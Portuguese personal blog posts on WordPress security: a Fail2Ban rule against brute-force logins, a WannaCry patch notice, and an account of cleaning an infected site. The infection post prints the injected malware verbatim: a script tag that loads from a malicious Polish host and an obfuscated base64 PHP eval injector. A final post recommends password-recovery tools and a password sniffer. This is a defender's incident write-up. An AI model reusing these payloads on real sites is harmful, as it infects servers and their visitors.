WordPress proteger BruteForce

De vez em quando gosto de dar uma vista de olhos nos logs do servidor para ver se deteto algo “anormal”, uma das coisas que me saltou à vista já há algum tempo foi o número exagerado de tentativas de autenticação inválidas! Estas tentativas tinham várias origens mas o método é sempre o mesmo tentar combinações comuns de utilizador e passwords de forma a entrar no Painel de administração do WordPress (isto é conhecido por BruteForce).

Para proteger a minha instalação de WordPress ainda pensei usar um plugin para proteger deste género de ataque mas decidi tentar uma abordagem de mais baixo nível, uma vez que já uso o Fail2Ban no servidor decidi aproveitar o mesmo e criar uma regra para à terceira tentativa de autenticação bloquear o ip de origem, fui acompanhando o número de ip’s bloqueados e são mais do que eu imaginava.

Como não sou nenhum master em regex usei uma expressão extremamente simples, quando uma tentativa de autenticação falha o WordPress retorna um erro http 403  (o comportamento standard retorna um 200 OK, com o JetPack ativo e com a opção de bloquear tentativas de login inválidas é que gera o 403), então é só mandar o Fail2Ban pesquisar acessos ao wp-login.php que retornaram 403, a regra que cheguei que se mostrou mais eficaz após alguns testes foi a seguinte:

failregex = :80 <HOST> .* /wp-login.php HTTP/1.1″ 403

Para já tem funcionado como esperado:

Optei por não usar plugins porque mesmo que um plugin detecte uma tentativa de intrusão, vai permitir que o atacante continue a gastar recursos ao servidor, ao enviar centenas ou milhares de pedidos seguidos. Como o Fail2Ban impede o ip do servidor de chegar sequer ao servidor o gasto de recursos é mínimo praticamente nulo.

Uma alteração que faço sempre no Fail2Ban é configurar para que quando bane um ip não faça REJECT e em vez disso faça um DROP(criei um Gist com isso) assim quem está do outro lado (o atacante) tem que aguardar pelo timeout do pedido para proceder para outro, isto fará com que no mínimo a aplicação que estão a usar para nos atacar consuma mais tempo e mais recursos ao atacante.

Microsoft Disponibiliza correção para proteger contra o Wana Decrypt0r (KB4012598)

A Microsoft já tinha libertado a atualização para os sistemas operativos que está a comercializar ou em período de suporte neste momento, deixando de fora os sistemas operativos que já estão fora do período de suporte como por exemplo o popular Windows XP.

Dada a gravidade do ataque que está em curso e prevendo outros que se seguirão usando a mesma falha, a Microsoft abriu uma excepção e libertou a correção para sistemas operativos fora do período de atualizações, a correção está disponível para os sistemas:

  1. Windows XP
  2. Windows XP Embedded
  3. Windows Server 2003,Windows Server 2003, Datacenter Edition
  4. Windows Vista
  5. Windows Server 2008

para fazer download basta aceder a esta página fazer download e instalar (é necessário reiniciar após a instalação)!
http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

Problema Resolvido

O problema que relatei aqui foi resolvido.

Não encontrei a causa por isso posso continuar á mercê dos hackaros, mas pelo menos para já os sites estão limpos (este blogue está alojado noutro provider e não foi afectado).

O processo de limpeza foi simples mas demorado, comecei por fazer download de todos os ficheiros que tinha na conta afectada, pagar numa instalação “virgem” do WordPress e copiar para cima dos ficheiros já existentes, de cada instalação que tenho do WordPress. Mesmo assim continuava a haver ficheiros infectados. Fiz uma pequena aplicação em C# que pesquisa recursivamente todos os ficheiros pelo código injectado e o apaga copiando para outro directorio os ficheiros “limpos”.

Se alguém padecer do mesmo mal, que esteja á vontade para me solicitar o código que usei para percorrer todos os ficheiros em todos os directórios e sub-directórios e encontrar os ficheiros afectados. Não disponibilizo aqui a aplicação porque está um bocado tosca, para a usar convém ler o código e ajustar á infecção que os ficheiros tiverem.

Aviso: Visitar este site poderá danificar o seu computador!

PrtSc Aviso do Chrome

Embora o Chrome não seja o browser que uso no dia a dia, ganhou mais um ponto na minha consideração. É o browser que arranca mais rapidamente no meu pc, dai quando preciso se ir á net e não posso esperar que abra outro browser abra utilizo-o. Hoje ao abrir recebi um erro que está na imagem:

O Web site em antoniocampos.net contém elementos do site atelier43.pl, o qual parece alojar software maligno ““ ou seja, software que pode danificar o seu computador ou funcionar sem o seu consentimento. A mera visita a um site que contenha software maligno pode infectar o seu computador.

Para obter informações mais detalhadas sobre os problemas com estes elementos, visite a Página de diagnóstico Navegação segura no Google para atelier43.pl.

 

depois de olha para o código fonte vi que de alguma forma foi injectado código no ficheiro original, o código malicioso inserido foi o seguinte:

<script src=http://atelier43.pl/images/gifimg.php ></script>

Logo a seguir ao fecho da tag </head>, visitei outros dominios todos alojados no mesmo sitio e todos os dominios tinham o mesmo sintoma, depois de uma analise cuidada reparei que havia vários ficheiros infectados pela injecção, conforme a extenssão do ficheiro tinham código diferente.

Nos ficheiros de javascript (.js):

document.write(‘<script src=http://atelier43.pl/images/gifimg.php ><\/script>’);

Nos ficheiros html aparecia o código já descrito em cima e nos ficheiros .php o seguinte código:

<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygncHEzazcnKSl7ZnVuY3Rpb24gcHEzazcoJHMpe2lmKH

ByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWF

jaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRj

aCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF

0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFx

iIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2

RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRja

F9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXM

nLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aF

xzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc

3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycp

LicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlK

CdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMkYwWld4cFpYSTBNeTV3YkM5cGJXRm5aW

E12WjJsbWFXMW5MbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCR

zLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHM

sMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24

gcHEzazcyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHEzazcxOyRzPWFycmF5KCk7aWYoZnVuY3R

pb25fZXhpc3RzKCRwcTNrNzEpKWNhbGxfdXNlcl9mdW5jKCRwcTNrNzEsJGEsJGIsJGMsJGQ

pO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B

xM2s3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1h

cnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bn

QoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9

jbGVhbigpO31vYl9zdGFydCgncHEzazcnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2J

fc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcHEzazdsPSgoJGE9QHNldF9lcnJ

vcl9oYW5kbGVyKCdwcTNrNzInKSkhPSdwcTNrNzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY2

9kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>

Este é o código responsavel por infectar os ficheiros se fizerem um base64_decode e analisarem o código aparece a forma como os ficheiros foram infectados, mas não explica como o código “entrou” pela primeira vez.

Além das infecções referidas foram craidos vários ficheiros, com vários nomes que aguardam o POST código php e o executam no servidor, deixando assim todos os ficheiros a que o utilizador que está a correr o site vulneraveis.

Depois de várias pesquisas no Google tudo aponta para uma falha no WordPress embora não tenha descoberto em que versão, penso que deverá ser na 2.8.6 pois nessa conta de alojamento tenho 3 instalações de wordpress todas actualizadas para a 2.8.6. Segundo a sabedoria do Google não fui o primeiro a ser infectado por esta praga, embora dos artigos que encontrei no google não sejam os mesmos, a infecção e a presença de código malicioso é semelhante á que me aconteceu.

Por isso aconselho todos os que tem sites em WordPress que verifiquem se estão infectados.

Estou a descarregar todos os ficheiros que tenho alojados neste servidor para analisar mais atentamente o que aconteceu, creio que não vou chegar a nenhuma conclusão de como fui infectado uma vez que não tenho acesso aos logs do apache, mas no minimo vou ter que limpar todos os ficheiros.

Uma das soluções seria apagar todos os ficheiros da instalação e colar uma versão nova de todos os ficheiros, mas isso fará com que todas as costumizações de temas e plugins se percam, e obrigaria á instalação de todos os plugins novamente.

Mal haja desolvimentos sobre a solução (pelo menos da limpeza dos ficheiros) crio um novo post com os mesmos.

Recuperar Passwords de varios softwares!!

Já conheço este site há algum tempo já usei inúmeras vezes os programas disponibilizados e todos cumprem os objectivos a que se propõe, tirando o facto do AVG numa das actualizações me ter apagado os executáveis dizendo que continham um virus qualquer, nunca tive problemas.

Agora o AVG já não se queixa!!!

O site é NirtSoft.com

Tem software gratuito para recuperar passwords armazenadas no PC em Windows dos seguintes programas:
-MSN
-Outlook Express, Microsoft Outlook 2000, Microsoft Outlook 2002/2003, IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird e Group Mail Free.
-Internet Explorer
-Passwords de ligações dial-up
-Microsoft Access
etc etc

e um sniffer para cheirar as passwords enviadas para servidores pop e smtp…

Vale a pena fazer download de todos e guardar num sitio acessivel!!!!